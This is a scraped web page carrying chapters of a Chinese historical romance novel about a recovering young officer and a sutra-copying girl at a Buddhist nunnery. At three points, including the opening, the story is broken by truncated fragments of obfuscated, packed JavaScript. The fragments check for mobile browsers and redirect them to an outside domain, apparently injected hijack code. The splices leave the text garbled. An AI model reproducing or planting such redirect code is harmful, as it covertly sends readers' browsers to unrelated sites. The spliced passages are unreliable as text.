l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16138398|180362||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 知事堂。她将宋海晏眼部的黑色绸带拆了下来,神情带着一丝审慎,问道:“宋公子,你现在觉得怎样?” 宋海晏也不答话,顺手抄起手中弓箭,搭弓上弦,静仪师太尚未反应过来,那支羽箭已经朝着栖在房檐上的飞鸟疾射而去。 静仪师太大急:“佛门忌杀生,宋公子你……” 一支白色的鸟羽从天空飘飘落下,那鸟儿受到惊吓,扑腾了两下翅膀飞走了。宋海晏哈哈一笑:“抱歉,这些时日没有摸弓箭,一时技痒而已。我知道你们这儿的规矩,所以只是射一支鸟羽解解痒。” 射下一只鸟羽而不对鸟儿造成任何损伤,当然比射下一只鸟更难。 静仪师太松了一口气:“宋公子神乎其技,看来目力是彻底恢复了。只是这些日子还需避光,好生休养。还有,你的腿要彻底恢复大致还需要半个月时间,宋公子若是觉得庵堂不便,回家休养也是一样。” 宋海晏微微笑道:“这里很好,并没有什么不便,既是养伤,总要彻底复原才能放心。” 静仪师太点头:“如此也好。”她又转头看向阿幸,嘱咐她好生看顾病人后离开。 静仪师太离开之后,宋海晏这才转头,看向阿幸。 少女眉如远山,眸似星子,那双漆黑瞳孔似乎笼着晨雾般的清愁。她一身素衣,立在梨花树下,妙常冠飘逸的帛带垂落三尺冰绡,倒映着满树梨花,竟分不清是云是雪。 一袭秀发如帛如瀑,风过时有梨花飘染,簌簌摇落碎琼,沾在她鸦青鬓角,不着铅华,恰如一尊玉色观音。 宋海晏刹那间定住,心跳一瞬间乱了节奏,差点连呼吸都忘了。当少女那双剪水秋瞳朝他看来时,宋海晏突然不敢与之对视,他匆忙低下头,发觉自己手心全是汗。 阿幸见宋海晏双眼复明,心中悬着的大石总算放下。她今日抄经的功课尚未完成,道:“我下午还有事,你自己休息,有事叫我。” 宋海晏见阿幸的身影消失在门口,又出现在菱窗格中,似乎是在抄写什么东西。他也不便相扰,于是从怀中掏出一本兵书来看。 他看了两行字,便不知想起什么,脸上浮现若有若无的微笑。 夕照西倾,暮色渐染。天边斜晖脉脉,似素手轻拂层云,将漫天墨紫金红的华彩揉作一匹鲛绡,自穹庐垂落人间,将满树梨花染成缥缃色。 少年的思绪仍沉醉在不可说的美梦之中,连静慧师太来了又走都没有察觉。直到阿幸在亭中支起一方小桌,叫他过去吃饭,宋海晏恍然梦觉,才发现自己手中那本兵书仍然停留在第一页。 韶光易逝,在他起念动心之间,它们就悄悄溜走。 谁能留住时间,追回那被马车拉走的夕阳,挽住枝头那将坠未坠的梨花呢? 佛曰,不可说,不可说。 9. 第六章 檐下听雨 第二日早上,阿幸早课回来,天上落起小雨。 她推开窗户,雨珠子跌在青石板上,惊起碎琼乱玉。梨花瓣颤巍巍承着雨,雨凝露从瓣尖滚落时,恰似玉盘上滑落的鲛珠,雕花木窗棂上附着的水雾,也染了三分梨蕊的冷香。 她执笔写字的时候,宋海晏推门,从门缝中探出半个头,道:“阿幸,今天下雨了。” 阿幸抬头:“是啊,下雨了。” 宋海晏道:“看来我今天不能去外面晒太阳,你能借我一本书看吗?” 阿幸想起昨日下午她抄经时,他本来是在看书的,道:“你不是带了书吗?” “那些兵书都是我看熟了的,没什么好看的。”宋海晏倚着门框,门外雨声入耳,“落雨梨花,正适合参禅。我母亲信佛,从前总说我杀性重,容易折福,该多读些经书修身养性,增长些智慧,如今倒是机会。” 阿幸将已经抄就的经文顺手给了他一本,继续奋笔疾书。 宋海晏拿了书,并不回自己的房间,而是侧坐在门槛上。他没有翻开佛经,斜对着她,有一搭没一搭地和她说话。 “阿幸,你为什么每日都要抄经?” “这是功课。” “阿幸,你每天抄经,不觉得辛苦吗?” “辛苦。” “阿幸,你们药师庵的比丘尼都要每日抄经吗?” “不是,只有我要这么做。” “那为何别人都不用抄经,唯独你要抄经?”宋海晏支颐看她:“我总觉得你不像比丘尼,对了,为何药师庵的其他比丘尼都没有头发,只有你带发修行?” 这两问实属戳在阿幸的痛处,她抬眸,声音带了些怒意:“你不是要看书吗?不看就还给我……” 宋海晏连忙将经书翻开,但仍不安分,只胡乱翻了几页,又指着书上一处问道:“阿幸,过去之心不可得,现在之心不可得,未来之心不可得,何解?” 阿幸顺口答道:“过去已是过去,所以过去之心不可得。现在之心只在刹那,起念之间已成过去,所以现在心也不可得。未来之心尚不存在,自然也不可得。” 宋海晏摇头道:“这道理不通。” 阿幸道:“如何不通?” 宋海晏一笑:“我昨日在梨花树下坐读兵书,忽然动心起念。我今日在雨檐下读佛经,起得还是同样的心念。” 窗外雨声骤歇。 他顿了一下,“现在雨停了,现在之我,较之方才,已是未来。可我心依旧,一如昨日。可见佛言未必全有道理,只要我心匪石,不可移也,便不分什么过去心、现在心、未来心。” 他这般歪解佛经,阿幸也不生气,只问道:“所以你动何心?起何念?” “这却说不得。”宋海晏看着她,眉眼彻底舒展开来,少年的束发从鬓角垂下,自有一股风流:“一定要说的话,我想就这样坐在这门槛上,和你说话……” “你如果嫌我烦,那只坐着,不说话也可以。” 他果真不再说话,于是小院忽地静了下来。 在这静谧之间,阿幸听到屋檐上的雨顺着瓦檐,一点一点地滴下,砸在青石板上,发出清脆的回响。 阿幸感知到有什么东西出现,又飞快消逝。 她忽想起初见时,少年右颊上惊鸿一现的梨涡;想起那个破碎的陶罐,以及那日午后,少年唇边那一声春鸟啼鸣;想起他叫她阿幸时脸上的笑容。 她想起昨日静仪师太说宋海晏的腿再过半个月就会痊愈了。药师庵从没有已经痊愈的病人继续长留的道理,更何况,宋海晏是个男子。也就是说,最多半个月,宋海晏就会离开了。 檐下,那双燕子已经筑好新巢,正在檐下避雨。她想起与宋海晏初遇那日,庭中梨花一朵未开,而这场春雨之后,梨花大抵会彻底谢去。 她心中突然生出冲动,她想要抓住什么东西。尽管她知道,有些东西是注定留不住的。 譬如朝露。 譬如落花。 譬如屋檐下落下的雨,就算她伸手掬水,最后都会听到砸在石板上的一声脆响。 又譬如,此时此刻,她与宋海晏对坐的一刹那。在她起心动念之间,已成了下一个刹那。 宋海晏仍坐在门槛上,一双眼灼灼地看着她,等她的回答。 忽然,她想要这个刹那更长久一些,于是她说:“那你就在这里坐着吧。” 在接下来的很多天,阿幸早课回来抄经的时候,宋海晏总是在那条门槛上坐着。 他有时看佛经,有时看兵书,有时候打瞌睡,睡醒的时候会用弓箭射路过飞鸟的鸟羽。 也有的时候,他实在穷极无聊,会和阿幸聊天。 说是聊天,大多数时候是宋海晏自说自话。 他说起七八岁时小时候和表兄弟从山洞里捉蝙蝠的趣事;也说起十岁那年,第一次参加龙舟比赛,就独占鳌头的兴事;他会说起十三岁从军时,因为箭术不佳,将父亲的帽子当做靶心射落,差点挨打的糗事;也说十六年那年,他发现有北魏细作潜入中原腹地,他一人一骑追了三百里,辗转五座城,终于拿下人头庆功的乐事。 在这样的日复一日中,她知道了宋海晏的大部分事情。宋海晏出身庐江宋氏,宋家在中原士族衣冠南渡前就世居淮南,以淮水为天险,阻挡胡族铁骑进一步南下。此后,南方王朝数次更替,庐江宋氏始终屹立不倒,奉行王朝正朔。她的祖父萧胥一统南方后,宋海晏的父亲宋寒章早早上表归顺,仍任庐江刺史并封辅国将军,继续镇守淮南之地。 宋海晏的母亲出自江陵名门何家,宋海晏是家中长子,还有弟妹各一人,妹妹今年十五岁,小弟今年方十岁。据他所言,何夫人是一位性情和善、外慜内秀、治家有方的妇人,十分好相处。 他说话的时候,阿幸只是听着,大部分的时候不回答也不打断。仅有一次,他问起阿幸为何要出家,家中可还有什么人,想不想见自己的亲人,阿幸没有回答,眼角怔怔流下泪来。后来,宋海晏便只说他自己的事,再没有问过她的事。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16138399|180362||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 只是,有一件连静仪师太都百思不得其解的怪事。 静仪师太每日都会来看宋海晏双腿的恢复情况,一开始她断言宋海晏的腿半个月就可以恢复如初。可到了半个月,宋海晏虽行走如常,但断骨仍有些错位,并未完全长回去。这也不是大事,静仪师太只当他好动了些,恢复慢一点。 不料一个多月过去,竟始终差一点。静仪师太不免责怪阿幸,嘱托她多提醒宋海晏莫要乱动。阿幸觉得冤枉极了,宋海晏每天吃完饭,在她房门口一坐就是一整天,安生得很,还要怎么提醒。 她怀疑宋海晏晚上在房间偷偷练武,便半夜留心听过几次墙角,也趁宋海晏入睡后看过,宋海晏睡觉也很安生,几乎一动不动。但他早上起来,总是揉着自己的腿,说大概是不小心压着了,这腿总好不了。 直到这月庵堂统一换洗褥子的日子,前来拆洗被褥的师姐进入宋海晏的房间,惊讶问道:“宋公子,你床上枕头怎么这么重?” 那位比丘尼拆下枕头下的套子,里面竟然是一块大青石。 宋海晏笑答道:“军中之人睡不惯软的,硬的枕头枕着才舒服哩。” 比丘尼道:“宋公子的癖好真独特,这石头硬邦邦的,竟不怕把脑袋磕破了。”但她也没有多说什么,只是收走了旧的寝具,留下新的就离开了。 她走了之后,阿幸却径直将那块大青石拿到门外,狠狠砸到地上,摔成了两半。 宋海晏大急:“阿幸,你这是干什么?” 阿幸不说话,她跌坐在地上,泪水从两颊涌落下来。 她知道宋海晏的腿一直没有好的秘密了。她几次晚上看他时,他睡觉并不用枕头。那块大青石并不是用来枕的,而是宋海晏用来压腿的。他睡觉时用腿压着伤处,所以早上起来总是喊着腿疼,腿上的毛病始终无法彻底恢复。 她想抓住某些正在流逝的东西。 宋海晏也一样。 他不愿意彻底好起来,这样他就没有理由留在这里了。 宋海晏见她突然落泪,大为惶急:“阿幸,你怎么了?我……我……” 他连说几个“我”字,后面却什么也没有说。有些话,没办法说出口。有些事,并不需要解释。 阿幸已经站了起来,她用袖子拭去眼泪,平静地道:“宋公子,其实现在的你已经不需要人照顾了。没有这块石头,几天后你就会好。耽误了宋公子养病,是我的失职。我今天下午就搬回从前住的禅堂去。” 她回到自己的房间,关上房门,开始收拾自己的东西。 其实有什么东西可以收拾呢? 她唯一拥有的陶罐已经摔碎了,不过一些随身的衣物和没有抄完的经卷而已,来来去去,都是孑然一身。 檐下的燕子已经飞走,留下空巢。 梨树上挂着青色的果子,这个时节,大约都是涩的。 她想要带走的东西,从不属于她,永远都带不走。 她不想留下的部分,却大概会永远留在这里。 10. 第七章 感此衷肠 暮春的天气让人捉摸不定,阿幸推门而出时,天忽地阴了下来。紧接着,空中响起一声闷雷,风急促地卷起地上的残花落叶,一场雨即将倾泻而下。 宋海晏站在房檐下,他脸色苍白,一双眼睛像是被乌云遮蔽的星辰,黯淡不见光彩,嘴唇嚅动着,似乎想要说些什么。 阿幸避过他,朝大门走去。才踏过门槛,便迎头撞上一人。原来是静慧师姑拿着食盒过来,见到她提着包袱,问道:“阿苦,你去哪儿?” 阿幸停步,不好说她和宋海晏之间的事,只道:“师姑,宋公子的身体差不多好了。他行走自如,已不大需要人特意照顾。我若继续住在这里,瓜田李下,毕竟惹人猜嫌,我想搬回我原先住的禅院去,正要去与师父禀明此事。” 静慧师姑现出为难之色,道:“阿苦,前日寺里来了新的沙弥尼。因你那间房空着,就安排她先住进去了,如今禅院并无空余的屋舍。主持的意思是等宋海晏伤好离开,你就先在知事堂住着,反正你时常要抄经,此处清静,也省得搬来搬去的麻烦。” 阿幸愣在原地,她想避开宋海晏,竟也避不了吗? 静慧师姑看了看天色,将食盒塞给她,道:“要下大雨了,我得走了,你们先吃饭吧。你若是不愿意住这儿,非要搬回禅院去,也得等明日再说。” 静慧师姑匆匆离去,阿幸拎着食盒回到檐廊之下时,大雨已劈头盖脸地噼啪砸下。 檐角铜铃在狂风中叮咚作响,宋海晏仍然立在房檐下,玄色衣角被风掀起又落下。他没有抬头看她,而是垂眸望着青石砖上洇开的雨痕,道:“对不起,这一个月是我打扰了你静修。请容我多住一日,明日一早我就离开。” 阿幸没有多说什么,只点了点头。既然走不成,宋海晏肯自己离开,已是最好的结果。 晚饭之后,阿幸点起灯火,继续抄写经文。如今距离韩常侍定下的时间还差七天,她还余下不少经书没有抄完,少不得挑灯夜战。 她研好墨,提笔刚写两个字,便觉手掌抽搐发痛。在烛火下一照,虎口处竟裂出几道口子。仔细忆起来,应是日间摔那大青石时过于用力,以致虎口受伤。 她自己去耳房找了些金疮药,又用纱布将伤处缠好,继续抄写《金刚经》。 外面雨势不减,骤雨将青瓦敲成玉磬,寒气裹着水雾漫过窗纱,在烛台周围凝成游丝般的白烟。她重新提笔,勉力又写了两行,那疼痛不仅未曾稍减,反而从裂开的虎口钻进筋络,在骨头之间游走,整只右手顿时传来碎瓷剐肉般的锐痛,她忍不住“嘶”了一声,呼道“好疼”。 她握不住笔,手心一松,羊毫坠落地上,发出一声极低的闷响。她顾不上拾笔,用左手撑着桌子,靠着墙角,想等着那阵疼痛过去——她自小抄经,手腕劳损,以致积成筋痹之症【1】。一遇疲累,或疏于调养,常常发作起来,疼痛不已。若遇下雨,寒气袭人,痛意更甚一层。 今日不巧,竟什么都赶上了。 她静静捱着时辰,窗外忽然传来宋海晏的声音:“阿幸,你怎么了,我刚才听到你的声音,你是不是哪里不舒服?” 阿幸一慌,忙道:“没有,你听错了。我没事,你去睡吧。” 宋海晏并不信:“我绝不会听错,你刚才明明说‘好疼’,你受伤了?” 阿幸想起这人原是做斥候出身,最是耳尖目明。在这寂静暗夜,不管发生了什么,休想瞒过他去。想了想自己没有抄完的经书,和仅余七日的期限,她终究叹了一口气道:“宋公子,请你进来,帮我一个忙。” 宋海晏推门而入,烛火因风摇晃,映着少女的惨白面容。他脚步一顿,还未来得及说话,阿幸已走到榻边,从枕下翻出一套针囊,用左手拿出几根金针来,问宋海晏道:“你认得穴吗?” 宋海晏点头。 阿幸将金针递给他,在榻上坐下,扯开右手缠着的纱布,露出整只手掌。她的右手因为常年抄经,指骨弯折,长着许多老茧,又因为虎口开裂,更显支离瘦损。 阿幸说道:“你用金针依次刺我右手手掌阿是、合谷、阳谷、列缺、阳池、外关、阳溪七穴。” 从前她筋痹之症发作时,都是师父静仪师太为她施针。雨夜不便,她也不能自己给自己扎针,便只能仰赖宋海晏能顶点用了。 宋海晏拿着金针,却久久不动, 她抬头,见宋海晏咬着嘴唇,看着她受伤的右手。那张脸满是悔恨与懊恼,脸色竟似比她还苍白数分,握着针的右手微微颤抖。 她忍不住道:“宋公子不必自疚,我右手素有筋痹之症,只是今夜刚好发作而已。” 宋海晏终于上前一步,单膝跪在榻前,问道:“怎么刺?” “合谷穴刺三分。”阿幸道。 “好。” 宋海晏用左手托住她的右掌,金针刺入皮肤的瞬间,他看见她睫毛剧烈颤动,却将呜咽生生咽回喉间。冷汗顺着下颌滴落,在素色衣襟上洇出深色的花。 宋海晏心尖一颤,那金针分明是扎在她的手上,却在他心间弥起刺痛。他别过头,不敢再看她的神色,疼痛却叫他愈加清醒,执针的手稳如磐石,依次刺过其他几处穴位,分明是短短数息便完成的事,他却觉得好像过了一整夜那么漫长。 “好了。” 行针完毕,两人一坐一跪,再无对答。在如此静夜中,彼此的呼吸和心跳声清晰可闻。 男子的呼吸沉浊,心跳沉着有力,响如擂鼓,像奔行的重蹄踏过凛雪的荒原。女子的呼吸极轻,微弱几至于无,间或夹杂着几缕游丝般的喘息声。檐雨滴答,宋海晏的心跳开始与阿幸的喘息追逐纠缠。她吐气时如秋蝉振翼,他便在胸腔应和两声闷雷;她吸气时似雪落枯荷,他竟连 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“宋公子,这件事情跟你没关系,你若是伤好了,明日就赶紧离开。沙门有一句话,出家人不管世间事,反过来也是一样。宋公子是尘世之人,我的事情与你无关。” 阿幸胸口起伏,指着门口:“宋公子,我的手已经无碍。如此深夜,你留在我房中,极是不妥,请你出去——” 她这般下逐客令,宋海晏依旧一动不动,眸中满是痛惜,嗓音含着无限哀怜,“可是,阿幸,我怎能看你受苦?” 这句话再一次刺激到阿幸敏感的神经,她不可抑制地大怒起来。 “我不叫阿幸,我本来就叫阿苦。”她怒中带笑,笑中含泪,大声道:“宋海晏,你以为改了名,就能改命吗?你根本改变不了我的命运,我也根本不需要你高高在上的怜悯。我不想看到你,你现在就走,明天就离开这里,再也不要回来——” 可宋海晏依然未动,他怔怔地看着她。 那是怎样的一双眼睛啊——深邃的眼神中,盛着哀悯、爱怜、痛惜、不舍、懊恼、愧疚,难过,还有不知所措。在这复杂的底色中,还隐隐透着一丝她看不明白的暗光。阿幸从未料到一双眼睛竟能表露出如此复杂的情绪。这样的眼神,只多看一眼就让人心头发颤。 宋海晏向前一步,在他抬眸的时候,阿幸懂了那暗光是什么——那是少年的执着,一颗居于晦暗长夜也向着光明的心,所以不管她如何拒绝,他还是朝要她再走出一步。 “不要再往前了——” 阿幸再无法忍受那双眼,她将心一横,抽出静慧师姑留给她的匕首,横于自己颈前:“宋海晏,孤男寡女深夜同处一室,不免有瓜田李下之嫌。你还不走,是要我以死来证清白吗?” 宋海晏终于停下脚步。 11. 第八章 去而复返 门被从外面带上,脚步声逐渐远去,静夜里再无一丝声响。 阿幸放下匕首,瘫坐在地上,只觉全身再无一丝力气。她缓了许久,才重新拿起纸笔,忍痛抄完一卷经书。她全身疲乏,沾塌就沉沉睡去。 第二天起床时,见隔壁的房间已无一人,床榻收拾得极整齐,一点东西也没有剩下。看来宋海晏果然信守承诺,已经离开了。阿幸松了一口气,然看着空寂的庭院,心中渐浮起淡淡的怅惘来。 早课之后,她继续抄写经文,直到中午时分。她忽然觉得有些昏昏沉沉,一触额头,竟是烫得惊人,想来应是昨夜抄经受凉所致。 她的医术乃静仪师太亲传,处理这等风寒之症不在话下。因知事堂离别的院子远,也懒于将此事告诉管事的师姑,便自己到耳房取了几味药材,煎好后服下。宫中要求的时限将近,她顾不着病体,继续抄写经文。 到下午申时许,终于又抄完一卷。她头晕目眩,额头愈发灼烫,便想挣扎着起身,再次去耳房煎药,不料手脚乏力,一下子晕倒在地板上。 她醒来时,发现自己竟然躺在静仪师太的房间。 静仪师太守在床边,眼眶通红,目光中带着一丝怜悯,见她醒来,舒了一口气,道:“孩子,你受苦了。你晕倒在知事堂,幸亏静慧师姑见你没有参加早课,过去察看,才发现你竟然病了,将你送到我这里来。你昏睡了整整三天,阿弥陀佛,今日总算醒了,要是你出了什么事,为师怎么向你的母亲交代……” 阿幸听自己这一觉竟睡过去三天,内心悚然,从床上跳起:“坏了,我的经书还没有抄完,我得回去……” 她实在是怕了,若是韩忠到时无法交差,宫中就会下旨申斥。而作为她“用心不专”的惩罚,下次的功课会更重。 静仪师太将她按住,道:“你身体还很虚弱,不要着急起身。经书的事情你不用操心,会有人替你完成。” 阿幸微微蹙眉,眼中闪过一丝迷茫——抄经一事是圣命,圣命既然是让她抄经,断然没有找人代抄的道理。若是被人查出,就是欺君的大罪,又有谁敢相替? 静仪师太叹了一口气:“你病了,无法在期限内完成,这也是无可奈何之事。你放心,那人写的字和你一模一样,韩常侍定然察不出端倪……” 阿幸更疑惑了:“那抄经之人是谁?” 静仪师太答道:“是宋公子,他见你病着,说这一个月蒙你照顾,自告奋勇替你抄经。为师见时限已近,若是韩常侍来时见经书不足数,告到御前免不了一场风波。阿弥陀佛,这也是一桩善事,佛祖谅也不至于怪罪,为师便允了他。” 阿幸一口气哽在喉头:“宋海晏他又回来了?” *** 时间回到四天之前。 当宋家的下仆陈伯见到宋海晏从药师庵大门走出时,内心一阵激动。 一个多月前,他奉宋家主母——宋海晏母亲何夫人的命令,送宋海晏到药师庵养伤。 何夫人笃信佛教,其心至诚,每年逢佛诞节、盂兰盆节、成道节等日,都会到庙里进香。这药师庵她也常来,每次都会撒上大把的香火钱,或送上些珍贵药材,供药师庵治病救人用,积下偌大功德。 陈伯见了静仪师太后,当即奉上何夫人的书信。静仪师太见信之后,又看了宋海晏的伤势,当即命人将知事堂洒扫一番,让宋海晏居住。药师庵素来不留男客,看在何夫人的面子,为宋海晏一人破例,陈伯并不被允许留下。 他只好在附近的鸡鸣镇找一家客栈住下,算着宋海晏康复的日子近了,每日早上驾着马车到药师庵门口等着,到午时,若宋海晏没有出来,再驾车回去。历经一个多月,见宋海晏果真完好无缺地从药师庵走出时,心情极畅快。何夫人最宝贝这个儿子,他这趟差事完成得好,自然少不了赏赐。 他连忙将宋海晏请入马车,道:“这药师庵传下的医术果然名不虚传,公子如今伤势痊愈,夫人必定欢喜,属下这便驾车送公子回庐江去……” 宋海晏靠在车壁上,笑道:“倒也不必如此着急,离家一个多月,怎么能空手回去?你这段时日在此,可知道这附近哪里有集市,我想先去给母亲、小妹以及家中的几位表兄弟买些稀罕礼物,让大家也欢喜欢喜。” 陈伯想了想道:“这也使得。属下这一阵住在附近的鸡鸣镇,这鸡鸣镇不大,并无多少店铺,但我听人说鸡鸣镇往西二十里路,有一座江宁县城,热闹极了。公子若是要买礼物,到那儿正合适,只是这一来一回,恐怕要多耽搁两日。” 宋海晏道:“如今又无战事,回去也是闲着,多耽搁两日有什么打紧。我们便先去江宁。” 江宁城池不大,但往来商贾众多,市集甚是繁华。宋海晏在江宁逛了整整一日,买了许多东西,将马车塞得满满当当的,又到马市上买了一匹马。 陈伯见那马品相一般,劝道:“公子,如今已有马车了,又买马作甚?而且这里能有什么好马,仔细摔了。您要骑马,家中有的是好马。” 宋海晏道:“这马车里物什太多,坐着连腿都伸不开。我这一个月在那庵中,每日就是坐着卧着,差点憋死。好不容易出门,难道还要继续憋着。陈伯,我在沙场上纵马惯了,您还怕我摔下马背不成?” 陈伯劝不住,只好由他。谁知两人离开江宁,驶上官道不久,林中忽然出了一只兔子,那新买的劣马受了惊,竟然将宋海晏从马背上甩了下来。 陈伯下车验伤时,见宋海晏大腿处一大片淤青,宋海晏连连呼痛,说自己的腿多半是折了。又说一事不烦二主,让陈伯驾车,再将他送回药师庵去。 陈伯心情郁卒,若是让夫人得知,他在送宋海晏回家的路上,没有劝住这位主子,让他又受新伤,恐怕不但没有奖赏,反而要落下不小的埋怨,却也无法可想,只能依他之意,再将他送回药师庵。 静仪师太虽然诧异于宋海晏去而复返,听说他坠了马,也不敢轻忽,仍让他回知事堂住着,又拿了些治疗跌打损伤的膏药给他。 至于车中的物什,宋海晏独留下一只不起眼的陶罐。他写了一封信,遣陈伯将书信和车中的礼物一起带回给自己的母亲,说自己伤势并无大碍,伤愈后会自己回家。陈伯无法可想,只好自己回庐江去了。 *** ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16138401|180362||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 阿幸在静仪师太房中将养了两日,到第三日仍回知事堂去住。 她推开知事堂的大门,阳光如薄纱般洒落,庭院中一片静谧。老梨树的枝叶在微风中轻轻摇曳,斑驳的光影在地面上跳跃,仿佛无数细碎的金箔。宋海晏依旧坐在那棵老梨树下,背靠树干,一条腿随意屈起,另一条腿舒展在地,姿态闲散而自在。 他手中拿着不知从何处折来的新鲜柳条,像是编织着什么东西。见她进来,眼睛一亮,笑容也随即绽放开来:“阿幸,你回来了。” 阿幸站在门口,微微一愣。宋海晏的笑容在阳光下显得格外清澈,他好像全然忘了那天晚上两人之间的不愉快,似乎他从没有离开过,一直在这里等她回来。 她向他走近,问道:“我听说你从马上摔了下来,伤势如何?” 宋海晏眼尾微微上扬,语气带了几分俏皮:“哦,没什么大事,只是大腿青了一块。这次是我失算了,那畜生性子野,不惯人骑它,真是时运不济,流年不利,出门没看黄历……” 他说的话阿幸一个字也不信。宋海晏在军中多年,若是劣马良马都辨不得,随随便便能被从马背上甩下,只怕早就死在了战场之上。再者,他坠马却无大碍,只留下一片瘀青,多半他对坠马一事早有预设,提前护住关键部位而已。 什么失算?分明是有意为之。 他为什么绕这么一个大圈子又重新折回,当然是因为脸皮太厚,想赖着不走。她心中百折千回,千言万语不知该如何说起。 她恼恨他如此不自惜自爱,好生生地又将自己弄出些伤来。 可她又怎能欺骗自己,看他又坐在这棵梨树下,她内心最幽微荒芜之处,那曾被她死死按下去的种子又违背她的意志,重新破土而出,挠动她的心口,带来喜悦和欢腾。 她上次强行逐他离开,已是用尽了全部的力气,又如何能开口再说出一些伤人的话来。她最终将那些话咽了下去,目光落在他手中的柳条上:“你在编什么东西?” 宋海晏低头看了看手中的柳条,笑意更深了几分,道:“你猜?”他的手指修长而灵活,正专注地将一根根嫩绿的柳条交错编织,动作轻盈而娴熟。柳条在他手中仿佛有了生命,随着他的指尖轻轻翻转、缠绕,逐渐形成一个精巧的圆形底座,柳条继续向上攀缘,枝条穿插,形成一个圆润的碗状。 阿幸心动一动,“难道是个鸟窝?” “聪明。”宋海晏笑道:“我今天早上起来,看到房檐上有斑鸠在叫,爬上去一看,原来是它们的巢不知何故翻了,雌鸟也不知所踪,只剩下四只小小斑鸠,叫得可怜,所以我寻思给它们重新搭个巢。你看——” 他伸出宽阔的袖摆,阿幸果然见到四只羽毛都没有长齐的小鸟头挨着头窝在里面,见到生人,一起咕咕噜噜地鸣叫起来。 “咕……咕咕……”宋海晏学着斑鸠的叫声,一边轻轻抚摸小斑鸠们的脑袋,道:“咕咕……新窝马上就做好了,咕咕……咱们马上就有新家了……咕咕咕,咕咕咕……” 他一会作人语,一会作鸟语,阿幸终究忍俊不禁,噗嗤一声笑了出来。 12. 第九章 爱恨嗔痴 宋海晏编好鸟窝,又寻了些薪草垫在下面,才小心翼翼地将四只小斑鸠放了进去,再捧着鸟窝放到老梨树的枝杈之间。 他拍了拍衣摆,扫了扫身上新沾的柳叶,自觉大功告成。四只小斑鸠张着大大的嘴巴,一起朝宋海晏“咕咕咕咕”地叫着。甚至还有一只不安分地扑腾着,掉在了宋海晏的肩膀上。 宋海晏将小斑鸠托在掌中,流露出不解的神情:“难道我编织的鸟窝住着不舒服吗?” 阿幸忍不住笑道:“宋公子,兴许是你的叫声太像斑鸠了,它们将你当成母亲,在问你要虫儿吃呢。” 宋海晏挠头:“它们要吃虫?” 阿幸道:“这是当然,这么大的斑鸠羽毛还没有长齐,还不会自己捕食,如果没有母亲喂食,就算有遮风避雨之所,它们也活不下去。” “原来他们是饿了,这事简单——”宋海晏说是受伤,身姿依然矫健,轻轻一跃便跃跳房檐,爬上了那棵大槐树,在大槐树的枝桠间攀爬穿梭,等他从树上下来时,已经用布巾囊了一拳头那么多的虫子。 他将虫儿一股脑倾倒在鸟窝中,四只小斑鸠你啄一只、我抢一口,没一会,那些虫儿都落入鸟肚中,落得个尸骨无存的下场。 宋海晏忽又想起什么,问道:“阿幸,上次静仪师太说你们佛门忌杀生,我抓了这些虫儿喂给小斑鸠,是不是犯了你们的忌讳?” 这个问题倒将阿幸给问住了。 《大般若经》记载佛陀割肉喂鹰的本事,说佛祖于未得道前,忉利天天主为证释迦牟尼佛是否真的行菩萨道,化为老鹰追赶一只鸽子,鸽子惊慌飞跑,逃进释迦牟尼佛的怀抱。老鹰对释迦牟尼说:“这只鸽子是我的猎物,应该还给我,不然我就会饿死。你同情这只鸽子,难道你就不同情我吗?”佛祖为救鸽子,割下自己的肉来喂鹰。他拿出天平,将鸽子放在天平的一边,将自己身上的肉割下放在另外一边,要将重量相等的肉喂给老鹰,以示公平。可不论释迦牟尼如何割肉,天平都不能相等。直到佛祖舍命以全身上秤,才与鸽子的重量相等。 这个故事既传递了佛陀的慈悲,也讲说了众生平等。不论佛陀、鸽子还是老鹰,他们的生命都应是相等的。 以佛法而论,虫豸与斑鸠的生命应该相等,抓虫饲鸟,有违佛法真意。 可她知道,众生并不平等。人都有偏爱之心,就如同他的祖父偏爱她的哥哥,薄待于她。宋海晏偏爱于斑鸠,所以并不顾惜虫豸的生命。 上位之人,一念之间便可决定下位者的生死,但也不可称之不仁。 她合十,行了一个佛礼,道:“宋公子心怀慈悲,见斑鸠失去母亲而养之。虽然违背佛法之意,却也救了这四只小斑鸠的命,功过恰好相抵。” “功过相抵么?”宋海晏嘴角勾起一抹不羁的笑,他眨了眨眼睛,眼神中闪过一丝狡黠,像变戏法一样,从宽大的衣袖里慢慢摸出一只小陶罐来,他将小陶罐轻轻托在掌心,向前一递,说道:“我从前起了坏心,损了你一只陶罐。如今原物奉还,也算得上功过相抵吗?” 阿幸侧眸看去,眼睛几乎定住。那只陶罐呈红褐色,造型极为古朴,圆溜溜的肚子,窄窄的罐口,表面还带着一些细微的、不规则的纹路,看起来还有几分老旧,与她摔碎的那一只几乎一模一样。 虽然这并不是原先的那一只,然旧物失而复得的心情仍让她热泪盈眶。她接过陶罐,小心摩挲着上面的纹路,问道:“你是从何处得来?” 那只陶罐在破损之后,碎片被她埋了。那时,宋海晏目力未复,根本不应该见过这只陶罐的样子。 